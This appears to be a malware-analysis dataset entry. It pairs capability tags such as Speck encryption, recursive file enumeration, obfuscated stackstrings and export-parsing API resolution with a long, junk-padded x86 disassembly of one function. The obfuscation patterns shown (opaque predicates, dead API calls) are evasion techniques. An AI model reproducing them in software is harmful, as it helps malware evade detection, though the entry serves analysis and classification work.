Function at 0x100149df
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Encrypt data using speck
Enumerate files on windows
Enumerate files recursively
Get geographical location
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10068179
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1204
call fcn.100642f0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], 0x220985a9
mov dword [ebp - 0xac], 1
mov dword [ebp - 0x1b4], 0xffffffff
mov dword [ebp - 0xa1c], 1
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x2f0], 0xc30bca0b
cmp dword [ebp - 0x20], 0
jne 0x10014a4b
cmp dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x101c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1074], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xf10], eax
mov eax, 0x9bf9f361
cmp eax, 1
jae 0x10014a7c
mov dword [ebp - 0x980], 1
jmp 0x10014a83
and dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0xac]
jge 0x10014aa6
mov dword [ebp - 0x9ac], 1
jmp 0x10014aad
and dword [ebp - 0x9ac], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x9ac], eax
je 0x10014aca
mov eax, 0x2b90f998
test eax, eax
jne 0x10014aca
and dword [ebp - 0x9b4], 0
jmp 0x10014ad4
mov dword [ebp - 0x9b4], 1
mov eax, dword [ebp - 0x9b4]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x20]
neg eax
add eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
je 0x10014dde
mov dword [ebp - 0xe4], 0x83e7
mov dword [ebp - 0x3b4], 1
mov dword [ebp - 0x250], 0
jmp 0x10014b1e
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 4
jge 0x10014b3a
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0x1190], 0x7aeb8f83
jmp 0x10014b11
mov eax, dword [ebp - 0xa1c]
mov dword [ebp - 0xf48], eax
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0xf18], eax
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0xe4]
jle 0x10014b6c
mov dword [ebp - 0x9bc], 1
jmp 0x10014b73
and dword [ebp - 0x9bc], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x9bc], eax
jle 0x10014b8d
mov dword [ebp - 0x9c4], 1
jmp 0x10014b94
and dword [ebp - 0x9c4], 0
cmp dword [ebp - 0x9c4], 0xb5cf0adc
jne 0x10014bac
mov dword [ebp - 0x9cc], 1
jmp 0x10014bb3
and dword [ebp - 0x9cc], 0
imul eax, dword [ebp - 0x9cc], 0xdee9
cmp eax, dword [ebp - 0xe4]
jle 0x10014bd1
mov dword [ebp - 0x9d4], 1
jmp 0x10014bd8
and dword [ebp - 0x9d4], 0
mov eax, dword [ebp - 0x9d4]
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0xf4c], eax
mov eax, dword [ebp - 0xa1c]
cmp eax, dword [ebp - 0xe4]
jg 0x10014c0a
mov dword [ebp - 0xa00], 1
jmp 0x10014c11
and dword [ebp - 0xa00], 0
mov eax, dword [ebp - 0xe4]
imul eax, dword [ebp - 0xa00]
test eax, eax
je 0x10014c37
cmp dword [ebp - 0x2f0], 0
je 0x10014c37
mov dword [ebp - 0x7a0], 1
jmp 0x10014c3e
and dword [ebp - 0x7a0], 0
imul eax, dword [ebp - 0x7a0], 0x1cd1
mov ecx, dword [ebp - 0xac]
add ecx, eax
je 0x10014d23
mov dword [ebp - 0x904], 0
mov dword [ebp - 0x474], 0xb6d700d1
mov dword [ebp - 0xbb4], 0xffffffff
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0xf20], eax
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0xf54], eax
cmp dword [ebp - 0x46c], 0x239f
jg 0x10014ca4
mov dword [ebp - 0x8fc], 1
jmp 0x10014cab
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0x8fc]
jl 0x10014cc5
mov dword [ebp - 0xa80], 1
jmp 0x10014ccc
and dword [ebp - 0xa80], 0
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0xf28], eax
mov eax, dword [ebp - 0x904]
mov dword [ebp - 0x474], eax
mov eax, dword [ebp - 0x474]
sub eax, dword [ebp - 0xbb4]
cmp eax, dword [ebp - 0x904]
jl 0x10014d08
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x10014d08
and dword [ebp - 0x47c], 0
jmp 0x10014d12
mov dword [ebp - 0x47c], 1
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x3b4], eax
jmp 0x10014dd9
mov dword [ebp - 0x1b0], 0x208dd2dc
cmp dword [ebp - 0xac], 0
jne 0x10014d48
cmp dword [ebp - 0x1b0], 0
jne 0x10014d48
and dword [ebp - 0xbbc], 0
jmp 0x10014d52
mov dword [ebp - 0xbbc], 1
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0xf50], eax
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x107c], eax
mov eax, dword [ebp - 0x3b4]
cmp eax, dword [ebp - 0x1b0]
jle 0x10014d84
mov dword [ebp - 0xbc4], 1
jmp 0x10014d8b
and dword [ebp - 0xbc4], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xf58], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1190]
mov dword [ebp - 0x1028], eax
mov eax, dword [ebp - 0x3b4]
dec eax
sub eax, dword [ebp - 0x1b0]
cmp eax, 0x8edc
jl 0x10014dc6
mov dword [ebp - 0x90c], 1
jmp 0x10014dcd
and dword [ebp - 0x90c], 0
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x1b4], eax
jmp 0x10014e93
mov dword [ebp - 0xbcc], 0
mov dword [ebp - 0xac], 0xffffffec
jmp 0x10014e01
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 3
je 0x10014e93
or eax, 0xffffffff
je 0x10014e28
cmp dword [ebp - 0xbcc], 0
je 0x10014e28
mov dword [ebp - 0x484], 1
jmp 0x10014e2f
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x20], 0xd
jmp 0x10014e4b
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe5
je 0x10014e8e
mov byte [ebp - 0x16c], 0
movzx eax, byte [ebp - 0x16c]
test eax, eax
je 0x10014e8c
push 0x23bb
push 0x1522
push 0x4e8
push 0xd58
push 0x17a8
push 0x534
push 0x1370
call dword [sym.imp.GDI32.dll_RoundRect]
jmp 0x10014e44
jmp 0x10014df4
cmp dword [ebp + 0x10], 0
jbe 0x1001511f
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1001511f
mov dword [ebp - 0x30], 0x97632667
mov dword [ebp - 0xb8], 0x88dc
cmp dword [ebp - 0x30], 0
je 0x10014ef1
mov dword [ebp - 0x30], 0
jmp 0x10014ed0
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffff0
jle 0x10014eec
mov dword [ebp - 0xbd4], 0xd94543be
mov dword [ebp - 0xbd4], 1
jmp 0x10014ec9
jmp 0x1001510b
mov dword [ebp - 0x178], 0xc86
mov dword [ebp - 0x4a4], 0xfffffff9
mov dword [ebp - 0x49c], 0x9e17716e
cmp dword [ebp - 0x30], 0
jne 0x10014f72
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xf64], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x106c], eax
cmp dword [ebp - 0x30], 0xffffffff
jg 0x10014f39
mov dword [ebp - 0x914], 1
jmp 0x10014f40
and dword [ebp - 0x914], 0
cmp dword [ebp - 0x914], 0xffff
jbe 0x10014f58
mov dword [ebp - 0x48c], 1
jmp 0x10014f5f
and dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x48c]
neg eax
jne 0x10014f72
and dword [ebp - 0x91c], 0
jmp 0x10014f7c
mov dword [ebp - 0x91c], 1
mov eax, dword [ebp - 0x178]
cmp dword [ebp - 0x91c], eax
je 0x10014f96
mov dword [ebp - 0x494], 1
jmp 0x10014f9d
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x494], eax
jg 0x10014fb4
mov dword [ebp - 0x924], 1
jmp 0x10014fbb
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0x178]
cmp dword [ebp - 0x924], eax
je 0x10014fd5
mov dword [ebp - 0xbdc], 1
jmp 0x10014fdc
and dword [ebp - 0xbdc], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xf70], eax
mov dword [ebp - 0x30], 0x395e2de4
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x1030], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xf78], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x49c]
cmp eax, dword [ebp - 0xb8]
jg 0x1001502a
mov dword [ebp - 0x92c], 1
jmp 0x10015031
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x178]
imul eax, dword [ebp - 0x92c]
imul eax, dword [ebp - 0xb8]
test eax, eax
jne 0x1001505b
cmp dword [ebp - 0xb8], 0
jne 0x1001505b
and dword [ebp - 0x934], 0
jmp 0x10015065
mov dword [ebp - 0x934], 1
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x4a4], eax
mov eax, dword [ebp - 0x4a4]
sub eax, dword [ebp - 0x934]
cmp dword [ebp - 0xb8], eax
jl 0x10015091
mov dword [ebp - 0x4ac], 1
jmp 0x10015098
and dword [ebp - 0x4ac], 0
cmp dword [ebp - 0x4ac], 0xffffffff
jge 0x100150ad
mov dword [ebp - 0x93c], 1
jmp 0x100150b4
and dword [ebp - 0x93c], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x93c], eax
jge 0x100150cb
mov dword [ebp - 0x4b4], 1
jmp 0x100150d2
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0x178]
add eax, dword [ebp - 0x4b4]
sub eax, dword [ebp - 0x178]
add eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xb8]
jge 0x100150fb
mov dword [ebp - 0x944], 1
jmp 0x10015102
and dword [ebp - 0x944], 0
mov eax, dword [ebp - 0x944]
mov dword [ebp - 0x30], eax
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1000f5e2
pop ecx
pop ecx
jmp 0x1001cd2b
push 3
lea ecx, [ebp - 0xa3c]
call fcn.100213ce
and dword [ebp - 4], 0
mov dword [ebp - 0x14], 0x4f46db50
mov dword [ebp - 0x4c4], 0xffffffff
mov dword [ebp - 0x94], 0
jmp 0x1001515a
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x1001517c
push dword [ebp - 0x94]
lea ecx, [ebp - 0xa3c]
call fcn.100214c8
mov dword [eax], 0x62d5e48d
jmp 0x1001514d
mov dword [ebp - 0x94], 0
jmp 0x10015195
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jge 0x100151b1
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0xf60], 0xffffffff
jmp 0x10015188
mov dword [ebp - 0x14], 0
jmp 0x100151c1
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100151dd
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa3c]
call fcn.100214c8
mov dword [eax], 0x61f6656
jmp 0x100151ba
cmp dword [ebp - 0x14], 0
je 0x100151f5
cmp dword [ebp - 0x14], 0
je 0x100151f5
mov dword [ebp - 0x4cc], 1
jmp 0x100151fc
and dword [ebp - 0x4cc], 0
cmp dword [ebp - 0x14], 0
jne 0x100152b2
mov esi, dword [ebp - 0x14]
push 2
lea ecx, [ebp - 0xa3c]
call fcn.100214c8
cmp esi, dword [eax]
jl 0x10015226
mov dword [ebp - 0x4bc], 1
jmp 0x1001522d
and dword [ebp - 0x4bc], 0
cmp dword [ebp - 0x4bc], 1
jl 0x10015242
mov dword [ebp - 0x94c], 1
jmp 0x10015249
and dword [ebp - 0x94c], 0
mov eax, dword [ebp - 0x94c]
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 0
je 0x10015270
cmp dword [ebp - 0x14], 0
je 0x10015270
mov dword [ebp - 0x954], 1
jmp 0x10015277
and dword [ebp - 0x954], 0
push 0
lea ecx, [ebp - 0xa3c]
call fcn.100214c8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x954]
jl 0x1001529a
mov dword [ebp - 0xbe4], 1
jmp 0x100152a1
and dword [ebp - 0xbe4], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1090], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jg 0x100152c3
xor eax, eax
inc eax
je 0x100152c3
mov dword [ebp - 0xbec], 1
jmp 0x100152ca
and dword [ebp - 0xbec], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xf88], eax
cmp dword [ebp - 0x4cc], 0xfffffffc
jle 0x100152e8
mov dword [ebp - 0x95c], 1
jmp 0x100152ef
and dword [ebp - 0x95c], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x95c], eax
jl 0x10015306
mov dword [ebp - 0xbf4], 1
jmp 0x1001530d
and dword [ebp - 0xbf4], 0
push 2
lea ecx, [ebp - 0xa3c]
call fcn.100214c8
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1038], eax
imul eax, dword [ebp - 0x14], 0xf9a8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xf60], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa3c]
call fcn.100214a3
cmp dword [ebp + 0x10], 0
jne 0x1001a06c
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1000a3b8
mov dword [ebp - 0x29c], eax
mov dword [ebp - 0xc8], 0xb7c7ce53
mov dword [ebp - 0xec], 8
mov dword [ebp - 0x428], 0xfffffffe
push 2
lea ecx, [ebp - 0xdb4]
call fcn.100213ce
mov dword [ebp - 4], 1
mov dword [ebp - 0x50c], 0xab391500
mov dword [ebp - 0xc04], 0x9d62
mov dword [ebp - 0xc0c], 0x1c2fbf3f
mov dword [ebp - 0x518], 7
mov dword [ebp - 0x1c], 0
jmp 0x100153d1
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x100153e7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc24], 7
jmp 0x100153ca
mov dword [ebp - 0x1c], 0
jmp 0x100153f7
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10015413
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xdb4]
call fcn.100214c8
mov dword [eax], 3
jmp 0x100153f0
mov dword [ebp - 0x1c], 0
jmp 0x10015423
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x10015439
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8e8], 1
jmp 0x1001541c
mov dword [ebp - 0x1c], 0
jmp 0x10015449
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1001545f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf34], 0x10f40bf6
jmp 0x10015442
mov dword [ebp - 0xc8], 2
jmp 0x10015478
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jl 0x100155af
mov dword [ebp - 0x80], 0x4dd03248
mov dword [ebp - 0x80], 0
jmp 0x1001549c
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 2
jg 0x100155aa
mov dword [ebp - 0xbfc], 1
cmp dword [ebp - 0x80], 0
jne 0x100154ee
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x80]
cmp ecx, dword [ebp + eax - 0xc24]
jge 0x100154d3
mov dword [ebp - 0x4d4], 1
jmp 0x100154da
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x4d4]
jl 0x100154ee
and dword [ebp - 0x964], 0
jmp 0x100154f8
mov dword [ebp - 0x964], 1
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x964], eax
jge 0x10015512
mov dword [ebp - 0x4dc], 1
jmp 0x10015519
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp + eax*4 - 0xc24]
imul eax, dword [ebp - 0x4dc]
mov ecx, dword [ebp - 0x80]
cmp dword [ebp + ecx*4 - 0xc24], eax
jle 0x10015542
mov dword [ebp - 0x96c], 1
jmp 0x10015549
and dword [ebp - 0x96c], 0
cmp dword [ebp - 0x96c], 0xffff
je 0x10015567
cmp dword [ebp - 0xc8], 0
jne 0x10015567
and dword [ebp - 0x4e4], 0
jmp 0x10015571
mov dword [ebp - 0x4e4], 1
cmp dword [ebp - 0x4e4], 1
jl 0x10015586
mov dword [ebp - 0x974], 1
jmp 0x1001558d
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x974]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0xbfc], eax
jmp 0x10015495
jmp 0x1001546b
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xf98], eax
mov dword [ebp - 0xc8], 0x4137d6c5
cmp dword [ebp - 0xc8], 0
jne 0x100155da
mov dword [ebp - 0x4fc], 1
jmp 0x100155e1
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0xec]
cmp eax, dword [ebp - 0xec]
je 0x100155fb
mov dword [ebp - 0x4ec], 1
jmp 0x10015602
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x428]
cmp dword [ebp - 0x4ec], eax
jg 0x1001561c
mov dword [ebp - 0x97c], 1
jmp 0x10015623
and dword [ebp - 0x97c], 0
cmp dword [ebp - 0x97c], 0xa6d7
jne 0x1001563b
mov dword [ebp - 0x4f4], 1
jmp 0x10015642
and dword [ebp - 0x4f4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x4f4]
imul ecx, dword [ebp + eax - 0xc24]
mov dword [ebp - 0x984], ecx
push 0
lea ecx, [ebp - 0xdb4]
call fcn.100214c8
mov ecx, dword [ebp - 0x984]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x984], eax
je 0x1001568b
mov dword [ebp - 0x98c], 1
jmp 0x10015692
and dword [ebp - 0x98c], 0
mov eax, dword [ebp - 0x4fc]
cmp eax, dword [ebp - 0x98c]
jg 0x100156b2
cmp dword [ebp - 0x428], 0
jne 0x100156b2
and dword [ebp - 0x504], 0
jmp 0x100156bc
mov dword [ebp - 0x504], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc24]
cmp dword [ebp - 0x504], eax
jge 0x100156dc
mov dword [ebp - 0x994], 1
jmp 0x100156e3
and dword [ebp - 0x994], 0
mov eax, dword [ebp - 0xec]
cmp eax, dword [ebp - 0x994]
jle 0x100156fd
mov dword [ebp - 0x430], 1
jmp 0x10015704
and dword [ebp - 0x430], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x430]
mov dword [ebp + eax - 0x8e8], ecx
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x50c], eax
mov eax, dword [ebp - 0x50c]
cmp eax, dword [ebp - 0xec]
jne 0x1001573d
mov dword [ebp - 0x99c], 1
jmp 0x10015744
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0xc04]
imul eax, dword [ebp - 0x99c]
cmp eax, dword [ebp - 0xc0c]
jle 0x10015765
mov dword [ebp - 0x9a4], 1
jmp 0x1001576c
and dword [ebp - 0x9a4], 0
mov eax, dword [ebp - 0x9a4]
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 0
je 0x1001579d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8e8], 0
je 0x1001579d
mov dword [ebp - 0x520], 1
jmp 0x100157a4
and dword [ebp - 0x520], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x520]
mov dword [ebp + eax - 0xf34], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdb4]
call fcn.100214a3
mov dword [ebp - 0x9c], 1
mov dword [ebp - 0xc14], 8
mov dword [ebp - 0x1078], 0x7cf2e566
mov dword [ebp - 0x9c], 0
jmp 0x100157fd
mov eax, dword [ebp - 0x9c]
dec eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0xfffffffe
jne 0x10015814
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0xc14], eax
jmp 0x100157f0
mov dword [ebp - 0x9c], 0xfffffff6
jmp 0x1001582d
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0xfffffff8
jl 0x10015869
mov byte [ebp - 0x135], 0
movzx eax, byte [ebp - 0x135]
test eax, eax
je 0x10015867
push 0
push 0
push 0x2094
push 0
push 0x1da0
push 0
push 0
push 0x15ae
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x10015820
cmp dword [0x1060f850], 0
jne 0x1001993f
mov dword [ebp - 0xf4], 0
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf4], 0xfffffffa
jmp 0x100158a6
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x15
jg 0x100158e3
mov byte [ebp - 0xd1], 0
movzx eax, byte [ebp - 0xd1]
test eax, eax
je 0x100158d6
push 0x20f
push 0x15be
push 0x560
call dword [sym.imp.USER32.dll_SetWindowLongW]
cmp dword [ebp - 0xf4], 0
je 0x100158e1
jmp 0x100158e3
jmp 0x10015899
mov dword [ebp - 0xc9c], 0x1d14
lea eax, [ebp - 0xc9c]
push eax
call fcn.1000f5b8
pop ecx
mov dword [ebp - 0x53c], eax
push 1
lea ecx, [ebp - 0x440]
call fcn.100213ce
mov dword [ebp - 4], 2
mov dword [ebp - 0x258], 0
jmp 0x1001592d
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 1
jge 0x1001594f
push dword [ebp - 0x258]
lea ecx, [ebp - 0x440]
call fcn.100214c8
mov dword [eax], 0x1928c176
jmp 0x10015920
push 0
lea ecx, [ebp - 0x440]
call fcn.100214c8
mov dword [eax], 0x1a
jmp 0x10015988
push 0
lea ecx, [ebp - 0x440]
call fcn.100214c8
mov dword [ebp - 0x7a8], eax
mov eax, dword [ebp - 0x7a8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x7a8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x440]
call fcn.100214c8
cmp dword [eax], 0xffffffe9
jle 0x10015ac8
mov dword [ebp - 0x2f8], 0xfffffffb
mov dword [ebp - 0xca4], 0xb6084edc
cmp dword [ebp - 0x2f8], 0
je 0x10015a62
cmp dword [ebp - 0x2f8], 1
jle 0x100159d4
mov dword [ebp - 0x528], 1
jmp 0x100159db
and dword [ebp - 0x528], 0
cmp dword [ebp - 0x528], 0xc6578637
je 0x100159f3
mov dword [ebp - 0x9fc], 1
jmp 0x100159fa
and dword [ebp - 0x9fc], 0
cmp dword [ebp - 0x9fc], 0x8502
jle 0x10015a12
mov dword [ebp - 0x530], 1
jmp 0x10015a19
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x530]
inc eax
cmp eax, dword [ebp - 0x2f8]
jg 0x10015a34
mov dword [ebp - 0x7b0], 1
jmp 0x10015a3b
and dword [ebp - 0x7b0], 0
push 0
lea ecx, [ebp - 0x440]
call fcn.100214c8
push 0
lea ecx, [ebp - 0x440]
call fcn.100214c8
push 0
lea ecx, [ebp - 0x440]
call fcn.100214c8
push 0
lea ecx, [ebp - 0x440]
call fcn.100214c8
mov esi, 0x7b4
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x440]
call fcn.100214c8
cmp esi, dword [eax]
jl 0x10015a93
mov dword [ebp - 0x538], 1
jmp 0x10015a9a
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x538]
mov dword [ebp - 0xca4], eax
push 0
lea ecx, [ebp - 0x440]
call fcn.100214c8
cmp dword [eax], 0
je 0x10015ac3
jmp 0x10015964
jmp 0x10015964
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x440]
call fcn.100214a3
mov dword [ebp - 0x24], 0x220985a9
mov dword [ebp - 0xb0], 1
mov dword [ebp - 0x1bc], 0xffffffff
mov dword [ebp - 0x558], 1
mov dword [ebp - 0x7c8], 0
mov dword [ebp - 0x300], 0xc30bca0b
cmp dword [ebp - 0x24], 0
jne 0x10015b1a
cmp dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xfa8], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1040], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xe80], eax
mov eax, 0x9bf9f361
cmp eax, 1
jae 0x10015b4b
mov dword [ebp - 0x8f0], 1
jmp 0x10015b52
and dword [ebp - 0x8f0], 0
mov eax, dword [ebp - 0x8f0]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0xb0]
jge 0x10015b75
mov dword [ebp - 0x540], 1
jmp 0x10015b7c
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x540], eax
je 0x10015b99
mov eax, 0x2b90f998
test eax, eax
jne 0x10015b99
and dword [ebp - 0x7b8], 0
jmp 0x10015ba3
mov dword [ebp - 0x7b8], 1
mov eax, dword [ebp - 0x7b8]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x24]
neg eax
add eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x24]
je 0x10015ead
mov dword [ebp - 0xfc], 0x83e7
mov dword [ebp - 0x458], 1
mov dword [ebp - 0x260], 0
jmp 0x10015bed
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 4
jge 0x10015c09
mov eax, dword [ebp - 0x260]
mov dword [ebp + eax*4 - 0x1160], 0x7aeb8f83
jmp 0x10015be0
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0xe84], eax
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0xe8c], eax
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0xfc]
jle 0x10015c3b
mov dword [ebp - 0x548], 1
jmp 0x10015c42
and dword [ebp - 0x548], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x548], eax
jle 0x10015c5c
mov dword [ebp - 0x990], 1
jmp 0x10015c63
and dword [ebp - 0x990], 0
cmp dword [ebp - 0x990], 0xb5cf0adc
jne 0x10015c7b
mov dword [ebp - 0x550], 1
jmp 0x10015c82
and dword [ebp - 0x550], 0
imul eax, dword [ebp - 0x550], 0xdee9
cmp eax, dword [ebp - 0xfc]
jle 0x10015ca0
mov dword [ebp - 0x7c0], 1
jmp 0x10015ca7
and dword [ebp - 0x7c0], 0
mov eax, dword [ebp - 0x7c0]
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0xe94], eax
mov eax, dword [ebp - 0x558]
cmp eax, dword [ebp - 0xfc]
jg 0x10015cd9
mov dword [ebp - 0x8f8], 1
jmp 0x10015ce0
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0xfc]
imul eax, dword [ebp - 0x8f8]
test eax, eax
je 0x10015d06
cmp dword [ebp - 0x300], 0
je 0x10015d06
mov dword [ebp - 0x560], 1
jmp 0x10015d0d
and dword [ebp - 0x560], 0
imul eax, dword [ebp - 0x560], 0x1cd1
mov ecx, dword [ebp - 0xb0]
add ecx, eax
je 0x10015df2
mov dword [ebp - 0x570], 0
mov dword [ebp - 0x9e8], 0xb6d700d1
mov dword [ebp - 0xb50], 0xffffffff
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0xe9c], eax
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0xea4], eax
cmp dword [ebp - 0x7c8], 0x239f
jg 0x10015d73
mov dword [ebp - 0x568], 1
jmp 0x10015d7a
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x568]
jl 0x10015d94
